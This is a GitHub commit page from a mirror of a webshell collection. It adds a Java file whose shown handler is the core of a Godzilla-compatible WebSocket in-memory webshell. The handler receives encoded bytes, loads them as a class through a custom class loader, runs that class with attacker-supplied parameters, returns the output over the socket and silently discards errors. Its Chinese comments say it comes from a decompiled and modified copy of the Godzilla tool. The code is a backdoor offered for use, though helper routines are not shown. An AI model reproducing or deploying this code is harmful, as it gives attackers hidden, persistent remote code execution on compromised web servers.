1
0
mirror of https://github.com/tennc/webshell.git synced 2025-12-07 13:21:28 +00:00

add wsmemshell

thanks @veo
This commit is contained in:
tennc
2022-07-26 13:09:53 +08:00
committed by GitHub
parent 1643b37786
commit 996152da78
11 changed files with 383 additions and 0 deletions

24
wsMemShell/Godzilla.java Normal file
View File

@@ -0,0 +1,24 @@
// 哥斯拉实现websocket马核心代码片段
//由于是反编译修改了原作者的软件,所以并不会公布工具,但会陆续公开实现代码和实现过程原理
public void onMessage(ByteBuffer databf) {
try {
data=x(databf.array(), false);
if (session.getUserProperties().get("payload")==null){
session.getUserProperties().put("payload",new X(this.getClass().getClassLoader()).Q(data));
session.getBasicRemote().sendObject(x("ok".getBytes(), true));
}else{
session.getUserProperties().put("parameters", data);
Object f=((Class)session.getUserProperties().get("payload")).newInstance();
java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();
f.equals(arrOut);
f.equals(session);
f.equals(data);
f.toString();
session.getBasicRemote().sendObject(x(arrOut.toByteArray(), true));
}
} catch (Exception ignored) {
}
}